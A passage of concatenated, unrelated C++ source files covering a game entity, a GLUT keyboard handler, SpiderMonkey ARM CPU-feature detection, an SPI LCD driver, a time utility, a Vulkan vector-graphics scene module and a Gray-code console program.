(m_fDensity , 1E-6f); #line 118 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_fFar = ClampDn (m_fFar , 0.001f); #line 119 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_fNear = Clamp (m_fNear , 0.0f , m_fFar - 0.0005f); #line 120 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" ASSERT (m_fNear >= 0 && m_fNear < m_fFar ); #line 122 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_iSize = 1 << INDEX (Log2 (m_iSize )); #line 123 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_iSize = Clamp (m_iSize , INDEX (2) , INDEX (256)); #line 125 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" Return(STATE_CURRENT,EVoid()); #line 125 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" return TRUE; ASSERT(FALSE); return TRUE;};game/inputs/keyboard.cpp // Header void onKeyDown (GLubyte, GLint, GLint); void onKeyUp (GLubyte, GLint, GLint); // Keys #define KEY_ESC 27 #define KEY_W 119 #define KEY_S 115 #define KEY_A 97 #define KEY_D 100 // Key states #define KEY_STATE_NONE 0 #define KEY_STATE_DOWN 1 #define KEY_STATE_PRESSED 2 #define KEY_STATE_UP 3 // Keyboard handler class Keyboard { private: int keyLength = 256; int keyState[256]; public: Keyboard(); bool isKeyDown (int); bool isKeyPressed (int); void pool (); void setState (int, int); }; Keyboard::Keyboard () { pool(); } void Keyboard::pool () { for (int i=0; i < keyLength; i++) { keyState[i] = KEY_STATE_NONE; } } void Keyboard::setState (int keyCode, int _state) { if (keyCode < keyLength) { keyState[keyCode] = _state; } } bool Keyboard::isKeyPressed (int keyCode) { if (keyCode >= keyLength) { return false; } if (keyState[keyCode] == KEY_STATE_PRESSED) { setState(keyCode, KEY_STATE_DOWN); return true; } return false; } bool Keyboard::isKeyDown (int keyCode) { if (keyCode >= keyLength) { return false; } return keyState[keyCode] == KEY_STATE_DOWN || keyState[keyCode] == KEY_STATE_PRESSED; } // Glut callbacks Keyboard keyboard; void onKeyDown (GLubyte key, GLint x, GLint y) { if (key == KEY_ESC) { exit(0); } if (!keyboard.isKeyPressed(key)) { keyboard.setState(key, KEY_STATE_PRESSED); } else { keyboard.setState(key, KEY_STATE_DOWN); } } void onKeyUp (GLubyte key, GLint x, GLint y) { keyboard.setState(key, KEY_STATE_UP); } ktrzeciaknubisa/jxcore-binary-packagingdeps/mozjs/src/jit/arm/Architecture-arm.cpp /* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sts=4 et sw=4 tw=99: * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "jit/arm/Architecture-arm.h" #ifndef JS_ARM_SIMULATOR #include #endif #include #include #include "jit/arm/Assembler-arm.h" #include "jit/RegisterSets.h" #if defined(ANDROID) || defined(JS_ARM_SIMULATOR) // The Android NDK and B2G do not include the hwcap.h kernel header, and it is not // defined when building the simulator, so inline the header defines we need. # define HWCAP_VFP (1 << 6) # define HWCAP_NEON (1 << 12) # define HWCAP_VFPv3 (1 << 13) # define HWCAP_VFPv3D16 (1 << 14) /* also set for VFPv4-D16 */ # define HWCAP_VFPv4 (1 << 16) # define HWCAP_IDIVA (1 << 17) # define HWCAP_IDIVT (1 << 18) # define HWCAP_VFPD32 (1 << 19) /* set if VFP has 32 regs (not 16) */ # define AT_HWCAP 16 #else # include # if !defined(HWCAP_IDIVA) # define HWCAP_IDIVA (1 << 17) # endif # if !defined(HWCAP_VFPD32) # define HWCAP_VFPD32 (1 << 19) /* set if VFP has 32 regs (not 16) */ # endif #endif // Not part of the HWCAP flag, but we need to know these and these bits are not used. // A bit to flag the use of the ARMv7 arch, otherwise ARMv6. #define HWCAP_ARMv7 (1 << 28) // A bit to flag the use of the hardfp ABI. #define HWCAP_USE_HARDFP_ABI (1 << 27) // A bit to flag when alignment faults are enabled and signal. #define HWCAP_ALIGNMENT_FAULT (1 << 26) // A bit to flag when the flags are uninitialized, so they can be atomically set. #define HWCAP_UNINITIALIZED (1 << 25) namespace js { namespace jit { // Parse the Linux kernel cpuinfo features. This is also used to parse the // override features which has some extensions: 'armv7', 'align' and 'hardfp'. static uint32_t ParseARMCpuFeatures(const char *features, bool override = false) { uint32_t flags = 0; for (;;) { char ch = *features; if (!ch) { // End of string. break; } if (ch == ' ' || ch == ',') { // Skip separator characters. features++; continue; } // Find the end of the token. const char *end = features + 1; for (; ; end++) { ch = *end; if (!ch || ch == ' ' || ch == ',') break; } size_t count = end - features; if (count == 3 && strncmp(features, "vfp", 3) == 0) flags |= HWCAP_VFP; else if (count == 4 && strncmp(features, "neon", 4) == 0) flags |= HWCAP_NEON; else if (count == 5 && strncmp(features, "vfpv3", 5) == 0) flags |= HWCAP_VFPv3; else if (count == 8 && strncmp(features, "vfpv3d16", 8) == 0) flags |= HWCAP_VFPv3D16; else if (count == 5 && strncmp(features, "vfpv4", 5) == 0) flags |= HWCAP_VFPv4; else if (count == 5 && strncmp(features, "idiva", 5) == 0) flags |= HWCAP_IDIVA; else if (count == 5 && strncmp(features, "idivt", 5) == 0) flags |= HWCAP_IDIVT; else if (count == 6 && strncmp(features, "vfpd32", 6) == 0) flags |= HWCAP_VFPD32; else if (count == 5 && strncmp(features, "armv7", 5) == 0) flags |= HWCAP_ARMv7; else if (count == 5 && strncmp(features, "align", 5) == 0) flags |= HWCAP_ALIGNMENT_FAULT; #if defined(JS_ARM_SIMULATOR) else if (count == 6 && strncmp(features, "hardfp", 6) == 0) flags |= HWCAP_USE_HARDFP_ABI; #endif else if (override) fprintf(stderr, "Warning: unexpected ARM feature at: %s\n", features); features = end; } return flags; } static uint32_t CanonicalizeARMHwCapFlags(uint32_t flags) { // Canonicalize the flags. These rules are also applied to the features // supplied for simulation. // The VFPv3 feature is expected when the VFPv3D16 is reported, but add it // just in case of a kernel difference in feature reporting. if (flags & HWCAP_VFPv3D16) flags |= HWCAP_VFPv3; // If VFPv3 or Neon is supported then this must be an ARMv7. if (flags & (HWCAP_VFPv3 | HWCAP_NEON)) flags |= HWCAP_ARMv7; // Some old kernels report VFP and not VFPv3, but if ARMv7 then it must be // VFPv3. if (flags & HWCAP_VFP && flags & HWCAP_ARMv7) flags |= HWCAP_VFPv3; // Older kernels do not implement the HWCAP_VFPD32 flag. if ((flags & HWCAP_VFPv3) && !(flags & HWCAP_VFPv3D16)) flags |= HWCAP_VFPD32; return flags; } // The override flags parsed from the ARMHWCAP environment variable or from the // --arm-hwcap js shell argument. volatile static uint32_t armHwCapFlags = HWCAP_UNINITIALIZED; bool ParseARMHwCapFlags(const char *armHwCap) { uint32_t flags = 0; if (!armHwCap) return false; if (strstr(armHwCap, "help")) { fflush(NULL); printf( "\n" "usage: ARMHWCAP=option,option,option,... where options can be:\n" "\n" " vfp \n" " neon \n" " vfpv3 \n" " vfpv3d16 \n" " vfpv4 \n" " idiva \n" " idivt \n" " vfpd32 \n" " armv7 \n" " align \n" #if defined(JS_ARM_SIMULATOR) " hardfp \n" #endif "\n" ); exit(0); /*NOTREACHED*/ } flags = ParseARMCpuFeatures(armHwCap, /* override = */ true); #ifdef JS_CODEGEN_ARM_HARDFP flags |= HWCAP_USE_HARDFP_ABI; #endif armHwCapFlags = CanonicalizeARMHwCapFlags(flags); IonSpew(IonSpew_Codegen, "ARM HWCAP: 0x%x\n", armHwCapFlags); return true; } void InitARMFlags() { uint32_t flags = 0; if (armHwCapFlags != HWCAP_UNINITIALIZED) return; const char *env = getenv("ARMHWCAP"); if (ParseARMHwCapFlags(env)) return; #ifdef JS_ARM_SIMULATOR flags = HWCAP_ARMv7 | HWCAP_VFP | HWCAP_VFPv3 | HWCAP_VFPv4 | HWCAP_NEON; #else #if defined(__linux__) // This includes Android and B2G. bool readAuxv = false; int fd = open("/proc/self/auxv", O_RDONLY); if (fd > 0) { struct { uint32_t a_type; uint32_t a_val; } aux; while (read(fd, &aux, sizeof(aux))) { if (aux.a_type == AT_HWCAP) { flags = aux.a_val; readAuxv = true; break; } } close(fd); } if (!readAuxv) { // Read the cpuinfo Features if the auxv is not available. FILE *fp = fopen("/proc/cpuinfo", "r"); if (fp) { char buf[1024]; memset(buf, 0, sizeof(buf)); size_t len = fread(buf, sizeof(char), sizeof(buf) - 1, fp); fclose(fp); buf[len] = '\0'; char *featureList = strstr(buf, "Features"); if (featureList) { if (char *featuresEnd = strstr(featureList, "\n")) *featuresEnd = '\0'; flags = ParseARMCpuFeatures(featureList + 8); } if (strstr(buf, "ARMv7")) flags |= HWCAP_ARMv7; } } #endif // If compiled to use specialized features then these features can be // assumed to be present otherwise the compiler would fail to run. #ifdef JS_CODEGEN_ARM_HARDFP // Compiled to use the hardfp ABI. flags |= HWCAP_USE_HARDFP_ABI; #endif #if defined(__VFP_FP__) && !defined(__SOFTFP__) // Compiled to use VFP instructions so assume VFP support. flags |= HWCAP_VFP; #endif #if defined(__ARM_ARCH_7__) || defined (__ARM_ARCH_7A__) // Compiled to use ARMv7 instructions so assume the ARMv7 arch. flags |= HWCAP_ARMv7; #endif #endif // JS_ARM_SIMULATOR armHwCapFlags = CanonicalizeARMHwCapFlags(flags); IonSpew(IonSpew_Codegen, "ARM HWCAP: 0x%x\n", armHwCapFlags); return; } uint32_t GetARMFlags() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags; } bool HasMOVWT() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_ARMv7; } bool HasVFPv3() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_VFPv3; } bool HasVFP() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_VFP; } bool Has32DP() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_VFPD32; } bool HasIDIV() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_IDIVA; } // Returns true when cpu alignment faults are enabled and signaled, and thus we // should ensure loads and stores are aligned. bool HasAlignmentFault() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_ALIGNMENT_FAULT; } // This is defined in the header and inlined when not using the simulator. #if defined(JS_ARM_SIMULATOR) bool UseHardFpABI() { MOZ_ASSERT(armHwCapFlags != HWCAP_UNINITIALIZED); return armHwCapFlags & HWCAP_USE_HARDFP_ABI; } #endif Registers::Code Registers::FromName(const char *name) { // Check for some register aliases first. if (strcmp(name, "ip") == 0) return ip; if (strcmp(name, "r13") == 0) return r13; if (strcmp(name, "lr") == 0) return lr; if (strcmp(name, "r15") == 0) return r15; for (size_t i = 0; i < Total; i++) { if (strcmp(GetName(i), name) == 0) return Code(i); } return Invalid; } FloatRegisters::Code FloatRegisters::FromName(const char *name) { for (size_t i = 0; i < Total; i++) { if (strcmp(GetName(i), name) == 0) return Code(i); } return Invalid; } FloatRegisterSet VFPRegister::ReduceSetForPush(const FloatRegisterSet &s) { FloatRegisterSet mod; for (TypedRegisterIterator iter(s); iter.more(); iter++) { if ((*iter).isSingle()) { // Add in just this float. mod.addUnchecked(*iter); } else if ((*iter).id() < 16) { // A double with an overlay, add in both floats. mod.addUnchecked((*iter).singleOverlay(0)); mod.addUnchecked((*iter).singleOverlay(1)); } else { // Add in the lone double in the range 16-31. mod.addUnchecked(*iter); } } return mod; } uint32_t VFPRegister::GetSizeInBytes(const FloatRegisterSet &s) { uint64_t bits = s.bits(); uint32_t ret = mozilla::CountPopulation32(bits&0xffffffff) * sizeof(float); ret += mozilla::CountPopulation32(bits >> 32) * sizeof(double); return ret; } uint32_t VFPRegister::GetPushSizeInBytes(const FloatRegisterSet &s) { FloatRegisterSet ss = s.reduceSetForPush(); uint64_t bits = ss.bits(); uint32_t ret = mozilla::CountPopulation32(bits&0xffffffff) * sizeof(float); ret += mozilla::CountPopulation32(bits >> 32) * sizeof(double); return ret; } uint32_t VFPRegister::getRegisterDumpOffsetInBytes() { if (isSingle()) return id() * sizeof(float); if (isDouble()) return id() * sizeof(double); MOZ_CRASH("not Single or Double"); } uint32_t FloatRegisters::ActualTotalPhys() { if (Has32DP()) return 32; return 16; } } // namespace jit } // namespace js ObcLcd.cpp /* Copyright (c) 2012 <> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "ObcLcd.h" #include #include #include "delay.h" #include ObcLcd::ObcLcd(SPI& spi, IO& cs, IO& refresh, IO& unk0, IO& unk1, uint32_t spiClockrateHz) : spi(spi), cs(cs), refresh(refresh), unk0(unk0), unk1(unk1), spiClockrate(spiClockrateHz) { this->cs = true; this->refresh = false; this->unk0 = true; this->unk1 = false; *lcdBuffer = '\0'; *clockBuffer = '\0'; } void ObcLcd::printf(char* format, ...) { va_list args; va_start(args, format); vsnprintf(lcdBuffer, LCD_MAX_CHARACTERS+1, format, args); va_end(args); update(); } void ObcLcd::printfClock(char* format, ...) { va_list args; va_start(args, format); vsnprintf(clockBuffer, CLOCK_MAX_CHARACTERS+1, format, args); va_end(args); update(); } void ObcLcd::clear() { printf(""); } void ObcLcd::clearClock() { printfClock(""); } void ObcLcd::update() { spi.setClockRate(spiClockrate); cs = false; //center the lcd text within LCD_MAX_CHARACTERS characters uint32_t length = (LCD_MAX_CHARACTERS - strlen(lcdBuffer)); uint32_t spaces = length / 2; if(length % 2) //if an odd length makes it uncenterable, shifting to the right looks better ++spaces; for(uint8_t i = spaces; i; i--) spi.readWrite(' '); //send the lcd buffer; fill to LCD_MAX_CHARACTERS characters with spaces uint8_t i; for(i = 0; i < (LCD_MAX_CHARACTERS - spaces); i++) { if(lcdBuffer[i] == '\0') break; spi.readWrite((uint8_t)lcdBuffer[i]); } while(i++ < (LCD_MAX_CHARACTERS - spaces)) spi.readWrite(' '); //send the clock buffer; fill to CLOCK_MAX_CHARACTERS characters with spaces for(i = 0; i < CLOCK_MAX_CHARACTERS; i++) { if(clockBuffer[i] == '\0') break; spi.readWrite((uint8_t)clockBuffer[i]); } while(i++ < CLOCK_MAX_CHARACTERS) spi.readWrite(' '); //I forget what or why this is spi.readWrite(0x00); spi.readWrite(' '); spi.readWrite(' '); spi.readWrite(' '); refresh = true; delay(1); refresh = false; cs = true; } crazykaktus/common #pragma once #include #include namespace kaktus { /** * @return "YYYY-MM-DD hh:mm:ss" (24 hour format) */ inline std::string time() { std::string buffer(20, '\0'); //20 should be enough for this time format std::time_t timeNow = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); strftime(buffer.data(), buffer.capacity(), "%F %X", localtime(&timeNow)); return buffer; } template void formatToStream(Stream &stream, const Streamable &value) { stream << "[" << value << "]"; } }#include "scene.hpp" #include #include #include #include #include #include namespace rvg2 { // util namespace { template nytl::Span asSpan(nytl::Span bytes) { dlg_assert(bytes.size() % sizeof(T) == 0); auto size = bytes.size() / sizeof(T); auto ptr = reinterpret_cast(bytes.data()); return nytl::Span(ptr, size); } template nytl::Span asSpan(nytl::Span bytes) { dlg_assert(bytes.size() % sizeof(T) == 0); auto size = bytes.size() / sizeof(T); auto ptr = reinterpret_cast(bytes.data()); return nytl::Span(ptr, size); } } // anon namespace // functions // bool operator==(const DrawState& a, const DrawState& b) { // return // a.transformBuffer == b.transformBuffer && // a.clipBuffer == b.clipBuffer && // a.paintBuffer == b.paintBuffer && // a.vertexBuffer == b.vertexBuffer && // a.indexBuffer == b.indexBuffer && // a.fontAtlas == b.fontAtlas && // std::equal( // a.textures.begin(), a.textures.end(), // b.textures.begin(), b.textures.end()); // } // TODO // maybe just implement polygonIntersection, it's the interesting one. // only implement it for convex polygons, that's all we are interested in, // can simply do sutherland hodgman. // move it to katachi tho. // std::vector polygonIntersection(Span a, Span b) { // } // // std::vector polygonUnion(Span a, Span b); // // VertexPool VertexPool::VertexPool(UpdateContext& ctx, DevMemBits bits) { init(ctx, bits); } void VertexPool::init(UpdateContext& ctx, DevMemBits bits) { Buffer::init(ctx, vk::BufferUsageBits::vertexBuffer, bits); } // IndexPool IndexPool::IndexPool(UpdateContext& ctx, DevMemBits bits) { init(ctx, bits); } void IndexPool::init(UpdateContext& ctx, DevMemBits bits) { Buffer::init(ctx, vk::BufferUsageBits::indexBuffer, bits); } // TransformPool TransformPool::TransformPool(UpdateContext& ctx, DevMemBits bits) { init(ctx, bits); } void TransformPool::init(UpdateContext& ctx, DevMemBits bits) { Buffer::init(ctx, vk::BufferUsageBits::storageBuffer, bits); } // ClipPool ClipPool::ClipPool(UpdateContext& ctx, DevMemBits bits) { init(ctx, bits); } void ClipPool::init(UpdateContext& ctx, DevMemBits bits) { Buffer::init(ctx, vk::BufferUsageBits::storageBuffer, bits); } // PaintPool PaintPool::PaintPool(UpdateContext& ctx, DevMemBits bits) { init(ctx, bits); } void PaintPool::init(UpdateContext& ctx, DevMemBits bits) { Buffer::init(ctx, vk::BufferUsageBits::storageBuffer, bits); } void PaintPool::setTexture(unsigned i, vk::ImageView texture) { dlg_assert(i < context().numBindableTextures()); if(textures_.size() <= i) { dlg_assert(texture); textures_.resize(i); } if(textures_[i] == texture) { return; } texturesChanged_ = true; textures_[i] = texture; registerDeviceUpdate(); } u32 PaintPool::findTextureSlot() const { for(auto i = 0u; i < textures_.size(); ++i) { if(!textures_[i]) { return i; } } if(textures_.size() < context().numBindableTextures()) { return textures_.size(); } return invalid; } /* // Scene Scene::Scene(Context& ctx) : context_(&ctx) { } bool Scene::updateDevice() { auto rerec = false; auto ownCmdBufChanged = false; // update commands if(!cmdUpdates_.empty()) { // ensure size // indirectCmdBuffer auto needed = sizeof(vk::DrawIndexedIndirectCommand) * numDrawCalls_; if(indirectCmdBuffer_.size() < needed) { needed = std::max(needed * 2, 16 * sizeof(vk::DrawIndexedIndirectCommand)); auto usage = vk::BufferUsageBits::indirectBuffer; indirectCmdBuffer_ = {context().bufferAllocator(), needed, usage, context().device().hostMemoryTypes()}; rerec = true; } // ownCmdBuffer needed = sizeof(DrawCommandData) * numDrawCalls_; if(ownCmdBuffer_.size() < needed) { needed = std::max(needed * 2, 16 * sizeof(DrawCommandData)); auto usage = vk::BufferUsageBits::storageBuffer; ownCmdBuffer_ = {context().bufferAllocator(), needed, usage, context().device().hostMemoryTypes()}; ownCmdBufChanged = true; rerec = true; } // maps // TODO(perf): make maps persistent? auto indirectCmdMap = indirectCmdBuffer_.memoryMap(); auto indirectCmds = asSpan(indirectCmdMap.span()); auto ownCmdMap = ownCmdBuffer_.memoryMap(); auto ownCmds = asSpan(ownCmdMap.span()); // write updates for(auto& update : cmdUpdates_) { auto& srcCmd = draws_[update.draw].commands[update.command]; indirectCmds[update.offset].firstInstance = 0u; indirectCmds[update.offset].instanceCount = 1u; indirectCmds[update.offset].firstIndex = srcCmd.indexStart; indirectCmds[update.offset].indexCount = srcCmd.indexCount; indirectCmds[update.offset].vertexOffset = 0u; ownCmds[update.offset].transform = srcCmd.transform; ownCmds[update.offset].paint = srcCmd.paint; ownCmds[update.offset].clipStart = srcCmd.clipStart; ownCmds[update.offset].clipCount = srcCmd.clipCount; ownCmds[update.offset].type = srcCmd.type; ownCmds[update.offset].uvFadeWidth = srcCmd.uvFadeWidth; } indirectCmdMap.flush(); ownCmdMap.flush(); cmdUpdates_.clear(); } // update descriptors std::vector dsus; auto updateDs = [&](auto& draw) { // TODO: bind dummy buffer as fallback? // or warn about them here auto& dsu = dsus.emplace_back(draw.ds); dsu.storage(draw.state.clipBuffer); dsu.storage(draw.state.transformBuffer); dsu.storage(draw.state.paintBuffer); auto& texs = draw.state.textures; auto binding = dsu.currentBinding(); dlg_assert(texs.size() <= context().numBindableTextures()); auto sampler = context().sampler(); for(auto i = 0u; i < texs.size(); ++i) { dsu.imageSampler(texs[i], sampler, binding, i); } auto dummyImage = context().dummyImageView(); for(auto i = texs.size(); i < context().numBindableTextures(); ++i) { dsu.imageSampler(dummyImage, sampler, binding, i); } dsu.storage(ownCmdBuffer_); dsu.imageSampler(draw.state.fontAtlas); }; if(ownCmdBufChanged) { for(auto& draw : draws_) { updateDs(draw); } dsUpdates_.clear(); // make sure they are not updated again } if(!dsUpdates_.empty()) { for(auto& dsUpdate : dsUpdates_) { updateDs(draws_[dsUpdate]); } dsUpdates_.clear(); if(!context().descriptorIndexing()) { rerec = true; } } vpp::apply(dsus); return rerec; } void Scene::recordDraw(vk::CommandBuffer cb) { const auto multidrawIndirect = context().multidrawIndirect(); const auto cmdSize = sizeof(vk::DrawIndexedIndirectCommand); auto offset = indirectCmdBuffer_.offset(); vk::cmdBindPipeline(cb, vk::PipelineBindPoint::graphics, context().pipe()); for(auto& draw : draws_) { vk::cmdBindDescriptorSets(cb, vk::PipelineBindPoint::graphics, context().pipeLayout(), 0, {{draw.ds.vkHandle()}}, {}); vk::cmdBindVertexBuffers(cb, 0, {{draw.state.vertexBuffer.buffer()}}, {{draw.state.vertexBuffer.offset()}}); vk::cmdBindIndexBuffer(cb, draw.state.indexBuffer.buffer(), draw.state.indexBuffer.offset(), vk::IndexType::uint32); if(multidrawIndirect) { vk::cmdDrawIndexedIndirect(cb, indirectCmdBuffer_.buffer(), offset, draw.commands.size(), cmdSize); offset += cmdSize * draw.commands.size(); } else { for(auto i = 0u; i < draw.commands.size(); ++i) { const auto pcrValue = u32(i); const auto pcrStages = vk::ShaderStageBits::fragment | vk::ShaderStageBits::vertex; vk::cmdPushConstants(cb, context().pipeLayout(), pcrStages, 0, 4u, &pcrValue); vk::cmdDrawIndexedIndirect(cb, indirectCmdBuffer_.buffer(), offset, 1, cmdSize); offset += cmdSize; } } } } void Scene::add(DrawSet set) { auto id = numDrawCalls_; if(draws_.size() <= id) { dlg_assert(draws_.size() == id); auto& draw = draws_.emplace_back(std::move(set)); // TODO: shouldn't reallocate every time the number of draws // is resized, e.g. think of a case where something is hidden // and shown again over and over (meaning in one frame a draw call is // added, then not), we allocate a new ds every time. draw.ds = {context().dsAllocator(), context().dsLayout()}; dsUpdates_.push_back(id); for(auto c = 0u; c < draw.commands.size(); ++c) { auto& update = cmdUpdates_.emplace_back(); update.draw = id; update.command = c; update.offset = numDrawCalls_; draw.commands[c].offset = numDrawCalls_; ++numDrawCalls_; } } else { // check if descriptors are the same auto& oldDraw = draws_[id]; bool same = (oldDraw.state == set.state); if(!same) { dsUpdates_.push_back(id); } // compare each draw command oldDraw.commands.resize(set.commands.size()); for(auto c = 0u; c < set.commands.size(); ++c) { auto& oldc = oldDraw.commands[c]; auto& newc = set.commands[c]; newc.offset = numDrawCalls_; if(std::memcmp(&oldc, &newc, sizeof(oldc))) { // the commands aren't the same, need update auto& update = cmdUpdates_.emplace_back(); update.draw = id; update.command = c; update.offset = numDrawCalls_; } ++numDrawCalls_; } } ++numDraws_; } // DrawRecorder DrawRecorder::DrawRecorder(Scene& scene) : scene_(scene) { } DrawRecorder::~DrawRecorder() { if(!current_.commands.empty()) { scene_.add(std::move(current_)); } scene_.finish(); } void DrawRecorder::bindTransformBuffer(vpp::BufferSpan pool) { dlg_assert(pool.valid()); pending_.state.transformBuffer = pool; if(current_.commands.empty()) { current_.state.transformBuffer = pool; } } void DrawRecorder::bindClipBuffer(vpp::BufferSpan pool) { dlg_assert(pool.valid()); pending_.state.clipBuffer = pool; if(current_.commands.empty()) { current_.state.clipBuffer = pool; } } void DrawRecorder::bindPaintBuffer(vpp::BufferSpan pool) { dlg_assert(pool.valid()); pending_.state.paintBuffer = pool; if(current_.commands.empty()) { current_.state.paintBuffer = pool; } } void DrawRecorder::bindVertexBuffer(vpp::BufferSpan pool) { dlg_assert(pool.valid()); pending_.state.vertexBuffer = pool; if(current_.commands.empty()) { current_.state.vertexBuffer = pool; } } void DrawRecorder::bindIndexBuffer(vpp::BufferSpan pool) { dlg_assert(pool.valid()); pending_.state.indexBuffer = pool; if(current_.commands.empty()) { current_.state.indexBuffer = pool; } } void DrawRecorder::bindTextures(std::vector textures) { pending_.state.textures = std::move(textures); if(current_.commands.empty()) { current_.state.textures = pending_.state.textures; } } void DrawRecorder::bindFontAtlas(vk::ImageView atlas) { dlg_assert(atlas); pending_.state.fontAtlas = atlas; if(current_.commands.empty()) { current_.state.fontAtlas = atlas; } } void DrawRecorder::draw(const DrawCall& call) { // check if state is still the same dlg_assert(pending_.commands.empty()); // TODO: shouldn't exist in first place bool same = (current_.state == pending_.state); if(!same) { dlg_assert(!current_.commands.empty()); scene_.add(std::move(current_)); current_ = std::move(pending_); } DrawCommand cmd; static_cast(cmd) = call; current_.commands.push_back(cmd); } */ std::vector polygonClip(nytl::Span points, bool closed) { if(points.size() < 2) { return {}; } // bring in clockwise order auto a = ktc::area(points); auto fac = (a > 0.f) ? -1.f : 1.f; // when the polygon is closed we consider the plane from // the last point to the first one. auto count = points.size() - (closed ? 0u : 1u); std::vector planes; planes.reserve(count); for(auto i = 0u; i < count; ++i) { auto curr = points[i]; auto next = points[(i + 1) % points.size()]; auto line = fac * (next - curr); dlg_assert(dot(line, line) > 0.0001); auto normal = normalized(Vec2f{line.y, -line.x}); // right normal auto d = dot(normal, curr); planes.push_back({normal.x, normal.y, d, 0.f}); } return planes; } std::vector rectClip(Vec2f position, Vec2f size) { auto points = std::array { position + Vec2f{0.f, 0.f}, position + Vec2f{size.x, 0.f}, position + size, position + Vec2f{0.f, size.y}, }; return polygonClip(points, true); } // PolygonClip Clip::Clip(ClipPool& pool, nytl::Span planes) : pool_(&pool) { if(planes.empty()) { return; } id_ = pool_->create(planes); count_ = planes.size(); } Clip::~Clip() { if(valid()) { pool_->free(id_, count_); } } void Clip::planes(nytl::Span np) { dlg_assert(valid()); if(np.size() != count_) { pool_->free(id_, count_); id_ = pool_->create(np); count_ = np.size(); return; } // TODO: could check for changes here and only write changed elements pool_->write(id_, np); } void swap(Clip& a, Clip& b) { using std::swap; swap(a.pool_, b.pool_); swap(a.id_, b.id_); swap(a.count_, b.count_); } // Transform Transform::Transform(TransformPool& pool, const Matrix& mat) : pool_(&pool) { id_ = pool_->create(mat); } Transform::~Transform() { if(valid()) { pool_->free(id_, 1); } } void swap(Transform& a, Transform& b) { using std::swap; swap(a.pool_, b.pool_); swap(a.id_, b.id_); } // Paint Paint::Paint(PaintPool& pool, const PaintData& data, vk::ImageView iv) : pool_(&pool) { id_ = pool_->create(data); texture(iv); } Paint::~Paint() { if(valid()) { pool_->free(id_, 1); if(texID_ != invalid) { dlg_assert(pool_->textures().size() < texID_); pool_->setTexture(texID_, {}); } } } void Paint::data(const PaintData& data, vk::ImageView view) { dlg_assert(valid()); texture(view); pool_->write(id_, data); } void Paint::texture(vk::ImageView view) { if(texID_ == invalid && view) { texID_ = pool_->findTextureSlot(); if(texID_ == invalid) { throw std::runtime_error("No free texture slot in pool"); } pool_->setTexture(texID_, view); } else if(!view && texID_ != invalid) { dlg_assert(pool_->textures().size() < texID_); pool_->setTexture(texID_, {}); texID_ = invalid; } else if(view && texID_ != invalid) { dlg_assert(pool_->textures().size() < texID_); pool_->setTexture(texID_, view); } } vk::ImageView Paint::texture() const { dlg_assert(valid() && texID_ != invalid); dlg_assert(pool_->textures().size() < texID_); return pool_->textures()[texID_]; } void swap(Paint& a, Paint& b) { using std::swap; swap(a.pool_, b.pool_); swap(a.id_, b.id_); swap(a.texID_, b.texID_); } } // namespace rvg2 #include "functions.h" int main(int argc, const char* argv[]) { input: unsigned int power; std::string buffer; std::cout << "Input power of Gray code (" << MIN_GRAY_POWER_INPUT << " - " << MAX_GRAY_POWER_INPUT << "): "; std::cin >> buffer; power = strtoul(buffer.c_str(), nullptr, 10); if (power < MIN_GRAY_POWER_INPUT || power > MAX_GRAY_POWER_INPUT) { std::cout << "Invalid power range." << std::endl; goto input; } // Ask user if they want to give cardinality manually unsigned int carda = 0; unsigned int cardb = 0; std::cout << "Do you want to specify cardinality for two sets? (Y/N): "; std::cin.ignore(); std::cin.clear(); bool manual = true; if (std::getchar() != 'Y') { manual = false; goto begin; } std::cout << "Input first unsigned cardinality: "; std::cin >> buffer; carda = strtoul(buffer.c_str(), nullptr, 10); std::cout << "Input second unsigned cardinality: "; std::cin >> buffer; cardb = strtoul(buffer.c_str(), nullptr, 10); // Show user some warning std::cout << "Note: if you are using card bigger than 2**power without " << "multiset support, the count of sets will be same as Universe." << std::endl << std::endl; begin: Set universe = universal(power); Set parta = random(power, carda, manual); Set partb = random(power, cardb, manual); 